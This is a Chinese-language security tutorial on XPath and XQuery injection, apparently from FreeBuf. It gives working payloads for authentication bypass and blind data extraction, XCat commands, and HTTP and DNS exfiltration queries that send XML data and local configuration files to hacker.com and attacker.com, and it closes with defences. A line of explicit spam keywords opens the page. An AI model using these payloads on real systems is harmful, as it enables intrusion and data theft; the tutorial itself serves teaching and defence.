偷偷摘套内射激情视频,久久精品99国产国产精,中文字幕无线乱码人妻,中文在线中文a,性爽19p

XPath Hacking技術(shù)科普

安全 應(yīng)用安全
Xpath1.0是一種被很好支持和相當(dāng)老的在XML文檔中選擇節(jié)點并返回計算后的值的查詢語言。大量的編程語言,包括Java、C/C++、Python、C#、JavaScript、Perl等都擁有自購豐富的庫支持Xpath1.0。

簡介

Xpath1.0是一種被很好支持和相當(dāng)老的在XML文檔中選擇節(jié)點并返回計算后的值的查詢語言。大量的編程語言,包括Java、C/C++、Python、C#、JavaScript、Perl等都擁有自購豐富的庫支持Xpath1.0。

在一個單一的XML文檔中,使用Xpath1.0可以方便的查詢過濾節(jié)點,舉例:

  1. <users> 
  2.  <user> 
  3.   <name>James Peter</name> 
  4.   <username>jtothep</username> 
  5.   <password>password123!</password> 
  6.   <admin>1</admin> 
  7.  </user> 
  8.  <user> 
  9.   <name>Chris Stevens</name> 
  10.   <username>ctothes</username> 
  11.   <password>reddit12</password> 
  12.   <admin>0</admin> 
  13.  </user> 
  14. </users> 

一個簡單的Web應(yīng)用登錄表單

XPath Hacking技術(shù)科普

使用用戶名"jtothep"和密碼“password123!”輸入到表單中,后臺執(zhí)行的查詢語法如下:

/*[1]/user[username=”jtothep”and password=”password123!”]

返回的用戶節(jié)點

  1. <user> 
  2.   <name>James Peter</name> 
  3.   <username>jtothep</username> 
  4.   <password>password123!</password> 
  5.   <admin>1</admin> 
  6.  </user> 

Xpath注入

如果程序沒有驗證用戶查詢輸入,就會發(fā)生Xpath注入,攻擊者可以提交惡意的請求修改查詢語句,導(dǎo)致:事物邏輯和認(rèn)證繞過,獲取后端XML數(shù)據(jù)庫內(nèi)容。

不像傳統(tǒng)的關(guān)系型數(shù)據(jù)庫,可以對數(shù)據(jù)庫、表、行或者列執(zhí)行細(xì)粒度的訪問控制,XML沒有用戶或者權(quán)限的概念。這意味著整個數(shù)據(jù)庫都可以被用戶讀取,在應(yīng)用中屬于很嚴(yán)重的安全漏洞。

利用Xpath

繞過認(rèn)證

如果一個認(rèn)證過程是如下形式

/*[1]/user[username=”jtothep”and password=”password123!”]

攻擊者可以提交以下輸入

username: jtohep"or "1" ="1
password: anything

Xpath的查詢會變成

/*[1]/user[username=”jtothep"or "1"="1” and
password=”anything”]

攻擊者可以以jtohep的用戶登錄并且繞過實際的密碼認(rèn)證,這是因為XPath中的OR語法查詢導(dǎo)致條件一直為真,類似SQL的and語法,Xpath的查詢語法為:

username="jtothep" or [TRUE AND False]

結(jié)果就是

username="jtothep" or FALSE

如果jtothep這個用戶被驗證存在,攻擊者就可以使用這個用戶的身份登錄,在通常的實踐中使用加密形式的密碼保存在用戶表中,用戶輸入的密碼也要經(jīng)過加密計算再與用戶表中的哈希密碼進(jìn)行匹配。因此使用加密形式的密碼會較少的存在漏洞,使用加密查詢的語法如下:

'/*[1]/user[username=”'.$username. '” and password=”'
.md5(password). '”]'

如果攻擊者不知道一個正確的用戶名,他仍可以繞過認(rèn)證

/*[1]/user[username=”non_existing"or "1"="1” or "1" ="1"and
password=”5f4dcc3b5aa765d61d8327deb882cf99”]

執(zhí)行會顯示成如下的形式:

username="non_existing" or TRUE or [True AND False]

結(jié)果是:

username="non_existing" or TRUE or FALSE.

結(jié)果會以第一個節(jié)點的身份登錄系統(tǒng)。

提取后端數(shù)據(jù)庫

現(xiàn)在有2個版本的Xpath,1.0和2.0,Xpath2.0是1.0的超集,支持更廣的特征兼容很多復(fù)雜的數(shù)據(jù)類型。同樣1.0存在的漏洞也能轉(zhuǎn)移到2.0中。

以一個圖書館查詢功能為例,查詢語法如下:

“/lib/book[title=' +TITLE + ']”.

 

 


XPath Hacking技術(shù)科普

 

 

XML數(shù)據(jù)如下:

  1. <lib> 
  2. <book> 
  3. <title>Bible</title> 
  4. <description>Theword of god</description> 
  5. </book> 
  6. <book> 
  7. <title>Da Vincicode</title> 
  8. <description>Abook</description> 
  9. </book> 
  10. </lib> 

如果知道圖書名字,可以注入以下內(nèi)容:

/lib/book[title=”Bible”and “1” = “1”]
payload為
”and “1” = “1 
/lib/book[title=”Bible”and count(/*) = 1 and “1”=”1”]

如果所有的過濾條件為真這個查詢只返回為真,如果查詢成功“/*”只返回一個節(jié)點,查詢不成功不會有顯示

Xpath1.0結(jié)構(gòu)定義了少量幾個可以在XML文檔中應(yīng)用的功能

- Count (NODESET) – 像是上面的舉例count() 返回節(jié)點集中子節(jié)點的數(shù)目

- String-length (STRING) –返回指定字符串的長度,獲得一個節(jié)點名的長度可以使用以下語法: string-length(/*[1]/*[1]/name())

- Substring (STRING, START,LENGTH) – 這個功能用來枚舉一個節(jié)點的文本值,我們可以使用substring匹配指定字符串與節(jié)點中的字符串,可以循環(huán)的通過實體字符表獲取所有字符的值。

使用基本語言設(shè)計和注入點,可以做到以下

1.獲取節(jié)點的名字

2.計算節(jié)點的數(shù)量

3.對于每個節(jié)點

a.獲取名字

b.獲取值

4.獲取注釋節(jié)點的數(shù)量

5.對于每個注釋節(jié)點

a.獲取注釋值

6.計算子節(jié)點的數(shù)量

7.對于每個子節(jié)點

a.Go to step

8.獲取節(jié)點的文本內(nèi)容。

Xcat介紹

Xcat是python的命令行程序利用Xpath的注入漏洞在Web應(yīng)用中檢索XML文檔,支持Xpath1.0和2.0,使用舉例如下:

python xcat.py --true"Book Found" --arg="title=Bible" --method POST--quotecharacter=\" http://vulnhost.com:80/vuln.php

XPath 2.0 濫用

XPath獲得了W3C的推薦,相比1.0版本增加了很多特征。支持條件聲明,更多的功能和數(shù)據(jù)類型,并且向后兼容。

檢測Xpath版本

探測Xpath版本非常簡單,使用lower-case()功能將大寫字符轉(zhuǎn)換成小寫字符,然后跟小寫字符進(jìn)行對比,如果結(jié)果為空,意味著沒有l(wèi)ower-case()函數(shù)定義,版本為1.0,另外的情況就是2.0版本。

/lib/book[title="Bible"and lower-case('A') = "a"]

/lib/book[title=”Bible”and “1” = “1”] payload為 ”and “1” = “1  /lib/book[title=”Bible”and count(/*) = 1 and “1”=”1”]

 

探測系統(tǒng)和工作目錄

在Xpath2.0中base-uri()函數(shù)返回當(dāng)前文檔的全路徑。

file:///C:/Users/Admin/Documents/example_application/input.xml

可以精確檢測到文件系統(tǒng)中XML數(shù)據(jù)庫的位置。

縮小查詢密鑰空間

當(dāng)我們使用遠(yuǎn)程主機注入Xpath漏洞,我們可能一次只能獲取很少的信息,有很多方法可以是我們縮小查詢的范圍。首先我們使用匹配功能觀察能減少字符的數(shù)量,通過正則和一些文本返回真或假進(jìn)行判斷(大小寫字符,數(shù)字或特殊符號)

以下查詢查找第二本書名中是否含任何大寫字符:

matches(/lib/book[2]/title/text(),"[A-Z]")

注意不同語言中正則表達(dá)式會有些不同

Unicode字符可以使用normalize-unicode功能可以減少查詢范圍,normalize-unicode規(guī)范化unicode字符“á”為“a” and “’”,ASCII字符,意味著可以提取出Unicode字符,類似Ѭ字符不行。

codepoints特性

將字符轉(zhuǎn)換為整數(shù)

string-to-codepoints("abc")-> (97,98,99)

高級Xpath注入

基于錯誤的提取

在一個條件查詢中提取運行時間錯誤,如果錯誤展示給用戶(或者可以被發(fā)覺),可以在不輸入信息的狀態(tài)下提取信息。Xpath 2.0 定義看error()功能,允許開發(fā)人員加注自定義的錯誤信息,用法:

and (if (CONDITION)then error() else 0) and "1" = "1

顯示結(jié)果如下

/lib/book[title=”Bible”and “1” = “1”] payload為 ”and “1” = “1  /lib/book[title=”Bible”and count(/*) = 1 and “1”=”1”]

XCat可利用這種攻擊方式

python main.py –-error "Exception"--arg="title=Anything" --methodPOST--quote_character=\" http://localhost:80

DOC功能濫用

XPath2.0推薦定義一個功能“DOC”,可以URI指向到外部XML文檔??梢源嬖诒镜鼗蛘哌h(yuǎn)程HTTP服務(wù)器,稱作Xpath庫中最好取得XML文檔和返回文檔根節(jié)點。

DOC不是默認(rèn)的功能,如果RUI不是鏈接到XML文件也會報錯。

危害:

讀取包含敏感配置文件或XML數(shù)據(jù)庫的信息

Tomcat的用戶配置文件

/tomcat-users/user[@username='"+ username + "' and@password='" + password + "']

Xcat工具也有利用命令

pythonxcat.py –method POST –ary
"username2=tomcat&password2=tomcat"–quotecharacter "'" –true
"Authenticated as"–connectbackip localhost –connectbackport 80
–fileshell http://localhost:81/

 

 


 

 

帶外通道提取XML數(shù)據(jù)

HTTP

doc(concat("http://hacker.com/savedata.py?d=",XPATH_EXPRESSION))

DOC功能會使HTTP請求轉(zhuǎn)到攻擊者的服務(wù)器,在HTTP GET或POST請求中使用encode-for-uri可以格式化字符。

doc(concat("http://hacker.com/savedata.py?d=",encode-foruri(/lib/book[1]/title)))

這將會對任何的字符串?dāng)?shù)據(jù)產(chǎn)生一個有效的查詢,例如在示例里第一本書的名字。攻擊者可以通過迭代的方式獲取XML文件的內(nèi)容,發(fā)送到黑客指定的服務(wù)器上分析。

1.2.3.4 -[09/Feb/2012:07:04:36 +0300] "GET /savedata.py?d=BibleHTTP/1.1" 200301 "-" "-"
1.2.3.4 -[09/Feb/2012:07:04:37 +0300] "GET/savedata.py?d=Da%20Vinci%20codeHTTP/1.1" 200
301 "-""-"

Xcat支持通過HTTP請求檢索部分文檔,Xcat建立一個內(nèi)部的HTTP服務(wù)并監(jiān)聽連接,追蹤節(jié)點內(nèi)容并重建XML文件。

python main.py –-error"Exception" --arg="title=Anything" --method POST--quote_character=\" -–connectback -–connectbackip X.X.X.X http://vulnhost.com:80

X.X.X.X是攻擊者可以控制的IP

DNS

在上面提及的方法中使用HTTP請求,存在許多限制條件,并不是每次攻擊都可以成功,例如目標(biāo)存在防火墻進(jìn)行限制。如果是這種情況,可以使用DNS查詢來傳輸數(shù)據(jù)。

攻擊者建立一個域名服務(wù)器。

doc(concact(/users/user[1]/username, “.hacker.com”))

服務(wù)器嘗試解析主機“jtothep.hacker.com”,引發(fā)DNS查詢并轉(zhuǎn)到攻擊者的域名服務(wù)器。

15:19:04.996744 IPX.X.X.X.38353 > Y.Y.Y.Y.53: 15310 A? jtothep.hacker.com.

使用DNS服務(wù)傳遞數(shù)據(jù)有幾個缺陷,數(shù)據(jù)限制在63-255個字符內(nèi),如果進(jìn)行分割的話,可能會導(dǎo)致數(shù)據(jù)丟失。

XQuery注入

維基中XQuery的定義

"XQuery is a queryand functional programming language that is designed to 
query collections ofXML data. It provides means to extract and manipulate data 
from XML documentsor any data source that can be viewed as XML. It uses XPath 
expressions syntaxto address specific parts of an XML document. It supplements 
this with aSQL-like "FLWOR expression" for performing joins. A FLWOR 
expressionis constructed from the five clauses after which it is named: FOR, 
LET, WHERE,ORDER BY, RETURN"

XQuery是XPath的超集,如果Xpath只是一個查詢語言,XQuery是一個程序語言,可以聲明自定義的功能、變量等等。類似XPath注入,XQuery注入在沒有驗證用戶輸入的情況下也會發(fā)生。

一個程序使用用戶名查詢博客實體,后端使用XQuery查詢XML數(shù)據(jù)。

XPath Hacking技術(shù)科普

未經(jīng)凈化的輸入可以導(dǎo)致整個XML文件泄露,節(jié)點名、字符串屬性和值可以通過HTTP方法循環(huán)遍歷獲?。?/p>

for $n in /*[1]/*
 let $x := for $att in $n/@*
return(concat(name($att),"=",encode-for-uri($att)))
 let $y :=doc(concat("http://hacker.com/?name=",
encode-for-uri(name($n)),
"&amp;data=",
encode-for-uri($n/text()),
"&amp;attr_",
string-join($x,"&amp;attr_")))
 for $c in $n/child::*
  let $x := for $att in $c/@*
 return(concat(name($c),"=",encode-for-uri($c)))
let $y := doc(concat(
"http://hacker.com/?child=1&amp;name=",
encode-for-uri(name($c)),
"&amp;data=",
encode-for-uri($c/text()),
"&amp;attr_",
string-join($x,"&amp;attr_")))

上面語句只在Saxon XSLT解析器中執(zhí)行,eXist-db’s和 XMLPrime解析器不受影響。

繼續(xù)說上面的查詢實例,用戶輸入admin,在后臺執(zhí)行的查詢?yōu)椋?/p>

  1. for $blogpost in//post[@author=’admin’] 
  2. return 
  3. <div> 
  4. <hr /> 
  5. <h3>{$blogpost/title}</h3><br/> 
  6. <em>{$blogpost/content}</em> 
  7. <hr /> 
  8. </div> 

如果用戶輸入admin'] let $x :=/*[' ,注入后的查詢結(jié)果為:

  1. for $blogpost in//post[@author=’admin’] 
  2.  let $x := /*[‘’] 
  3.  return 
  4. <div> 
  5.   <hr /> 
  6.    <h3>{$blogpost/title}</h3><br/> 
  7.    <em>{$blogpost/content}</em> 
  8.   <hr /> 
  9.  </div> 

攻擊者可以在let $x := /*[‘’]中插入任何想執(zhí)行語句都會在循環(huán)中執(zhí)行,它會

通過所有當(dāng)前執(zhí)行文件中的元素循環(huán)發(fā)出一個GET請求到攻擊者的服務(wù)器。

URL攻擊

http://vulnerablehost/viewposts?username=admin%27%5D%0Afor%20%24n
%20in%20/%2A%5B1%5D/%2A%0A%09let%20%24x%20%3A%3D%20for%20%24att%
20in%20%24n/%40%2A%20return%20%28concat%28name%28%24att%29%2C%22
%3D%22%2Cencode-foruri%28%24att%29%29%29%0A%09let%20%24y%20%3A%3D
%20doc%28concat%28%22http%3A//hacker.com/%3Fname%3D%22%2C%20encode
-foruri%28name%28%24n%29%29%2C%20%22%26amp%3Bdata%3D%22%2C%20encode
-foruri%28%24n/text%28%29%29%2C%22%26amp%3Battr_%22%2C%20stringjoin
%28%24x%2C%22%26amp%3Battr_%22%29%29%29%0A%09%09%0A%09for%20%24c%
20in%20%24n/child%3A%3A%2A%0A%09%09let%20%24x%20%3A%3D%20for%20%
24att%20in%20%24c/%40%2A%20return%20%28concat%28name%28%24c%29%2C
%22%3D%22%2Cencode-foruri%28%24c%29%29%29%0A%09%09let%20%24y%20%
3A%3D%20doc%28concat%28%22http%3A//hacker.com/%3Fchild%3D1%26amp
%3Bname%3D%22%2Cencode-foruri%28name%28%24c%29%29%2C%22%26amp%3
Bdata%3D%22%2Cencode-for-uri%28%24c/text%28%29%29%2C%22%26amp%3
Battr_%22%2Cstringjoin%28%24x%2C%22%26amp%3Battr_%22%29%29%29
%0Alet%20%24x%20%3A%3D%20/%2A%5B%27

上面的方法會重復(fù)的對攻擊者的服務(wù)器發(fā)送請求,整個XML文檔可以通過分析攻擊者的服務(wù)器訪問日志進(jìn)行獲取。

X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?name=post&data=&attr_author=admin HTTP/1.1" 200 358"-" "Java/1.6.0_31"
X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=title&data=Test&attr_ HTTP/1.1" 200 357"-" "Java/1.6.0_31"
X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=content&data=My%20first%20blog%20post%21&attr_HTTP/1.1" 200 357 "-" "Java/1.6.0_31"
X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?name=post&data=&attr_author=admin HTTP/1.1" 200 357"-" "Java/1.6.0_31"
X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=title&data=My%20blog%20is%20now%20live%21&attr_HTTP/1.1" 200 357 "-" "Java/1.6.0_31"
X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=content&data=Welcome%20to%20my%20blog%21%20Please%20stay%20away%20hackers&attr_HTTP/1.1" 200 357 "-" "Java/1.6.0_31"
X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?name=post&data=&attr_author=admin HTTP/1.1" 200 357"-" "Java/1.6.0_31"
X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=title&data=Test&attr_ HTTP/1.1" 200 357"-" "Java/1.6.0_31"
X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=content&data=My%20first%20blog%20post%21&attr_HTTP/1.1" 200 357 "-" "Java/1.6.0_31"
X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?name=post&data=&attr_author=admin HTTP/1.1" 200 357"-" "Java/1.6.0_31"
X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=title&data=My%20blog%20is%20now%20live%21&attr_HTTP/1.1" 200 357 "-" "Java/1.6.0_31"
X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=content&data=Welcome%20to%20my%20blog%21%20Please%20stay%20away%20hackers&attr_HTTP/1.1" 200 357 "-" "Java/1.6.0_31"

通過分析拼接的XML為:

  1. <posts> 
  2. <postauthorpostauthor="admin"> 
  3. <title>Test</title> 
  4. <content>My firstblog post!</content> 
  5. </post> 
  6. <postauthorpostauthor="admin"> 
  7. <title>My blog isnow live!</title> 
  8. <content>Welcometo my blog! Please stay away hackers</content> 
  9. </post> 
  10. </posts> 

Exist-DB

Exist-DB是一個本地XML數(shù)據(jù)庫,允許應(yīng)用程序使用不同的技術(shù)(XQuery 1.0, XPath 2.0,XSLT 1.0 和 2.0.)存儲、查詢和更新XML數(shù)據(jù)。區(qū)別于其他傳統(tǒng)的數(shù)據(jù)庫(定義自己的查詢協(xié)議),Exist-DB使用基于HTTP的接口進(jìn)行查詢,如REST, XML-RPC, WebDAV 和SOAP。

執(zhí)行一個GET請求,返回一個XML的節(jié)點。

還是之前用戶博客的查詢,假設(shè)現(xiàn)在使用的是Exist-DB,HTTP查詢請求如下

http://www.vulnhost.com/viewposts?username=admin

后臺XPath表達(dá)式

doc(concat(“http://localhost:8080/exist/rest/db/posts?_query=”,encode-for-uri(“//posts[@author=’admin’]”)) )//*

上面查詢//posts[@author=’admin’]會返回所有admin的文章,Exist-DB是一個成熟的數(shù)據(jù)庫并且在很好的支持XPath,如果username變量沒有進(jìn)行凈化,攻擊者可以獲取根節(jié)點的內(nèi)容:

http://www.vulnhost.com/viewposts?username='and doc(concat('http://hacker.com/?q=', encode-for-uri(name(doc('file:///home/exist/database/conf.xml')/*[1]))))or '1' = '1

這條語句會攜帶根節(jié)點發(fā)名字請求攻擊者的服務(wù)器

doc(concat("http://localhost:8080/exist/rest/db/posts?_query=",encode-for-uri("//posts[@author=''and
doc(concat('http://hacker.com/?q=',encode-foruri(name(doc(‘file:///home/exist/database/conf.xml’)/*[1]))))
or '1'= '1']")))/*[1]

攻擊者可以使用上面的技術(shù)獲得受害服務(wù)器的配置信息。

EXist-DB有一個可擴展的模塊,它允許程序員用Java編寫的模塊創(chuàng)建新的XPath/XQuery函數(shù)。通過讓郵件模塊或其他SMTP服務(wù)器,I/O文件系統(tǒng)發(fā)送電子郵件。以及支持多種HTTP方法,利用LDAP客戶端模塊,或在在OracleRDBMS執(zhí)行Oracle的PL/ SQL存儲過程等等。這些模塊功能強大,但通常這些模塊在默認(rèn)情況下是禁用的。

HTTP模塊很有趣,因為它是兩個非常強大的,默認(rèn)情況下啟用。攻擊者可以簡單地使用它來發(fā)送序列化根節(jié)點(整個文檔)到攻擊者的服務(wù)器,從而在一次操作中獲取整個數(shù)據(jù)庫。

http://www.vulnhost.com/viewposts?username='Httpclient:post(xs:anyURI(“http://attacker.com/”),/*, false(), ())or '1' = '1

在服務(wù)器后臺的查詢?nèi)缦?/p>

doc(concat("http://localhost:8080/exist/rest/db/posts?_query=",encode-for-uri("//posts[@author=’’Httpclient:post(xs:anyURI(“http://attacker.com/”),/*, false(), ()) or ‘1’ =‘1’]")))/*[1]

監(jiān)聽的效果

可以通過DOC功能使HTTP客戶端發(fā)送任意的本地XML文件到攻擊者的服務(wù)器

Httpclient:get(xs:anyURI(“http://attacker.com/”),doc(‘file:///home/exist/database/conf.xml’), false(), ())

防御方法

凈化用戶輸入,fn:doc(),fn:collection(), xdmp:eval() and xdmp:value()這些函數(shù)需要特別注意

使用參數(shù)化的查詢,如Java的Xpath表達(dá)式

/root/element[@id=$ID]

限制doc()功能

作者

Thomas Forbes (xcat的作者)

Sumit Siddharth

參考

http://www.balisage.net/Proceedings/vol7/html/Vlist02/BalisageVol7-Vlist02.html

http://www.front2backdev.com/2011/12/19/xquery-injection-mea-culpa/

http://www.slideshare.net/robertosl81/xpath-injection-3547860

http://en.wikipedia.org/wiki/XPath

http://en.wikipedia.org/wiki/XQuery

https://github.com/orf/xcat

責(zé)任編輯:藍(lán)雨淚 來源: FreebuF
相關(guān)推薦

2018-03-28 09:00:17

區(qū)塊鏈 人工智能 大數(shù)

2017-07-31 19:13:58

白熊視頻技術(shù)創(chuàng)業(yè)在路上程序員

2023-11-23 13:23:14

2021-09-01 11:17:04

人工智能經(jīng)濟技術(shù)

2021-04-24 22:48:23

人工智能機器人醫(yī)療

2022-07-05 11:06:55

人工智能自然語言計算機

2021-01-01 09:16:33

AI人工智能

2020-12-30 10:43:01

人工智能食品安全

2018-01-13 23:06:12

2019-03-06 11:16:16

服務(wù)器虛擬化內(nèi)存

2012-12-24 10:05:08

AutodeskInventor軌道客車

2009-07-15 18:10:45

2019-11-20 08:55:36

技術(shù)研發(fā)指標(biāo)

2019-11-20 09:28:33

硬核攜號技術(shù)

2021-08-17 15:20:18

人工智能AI
點贊
收藏

51CTO技術(shù)棧公眾號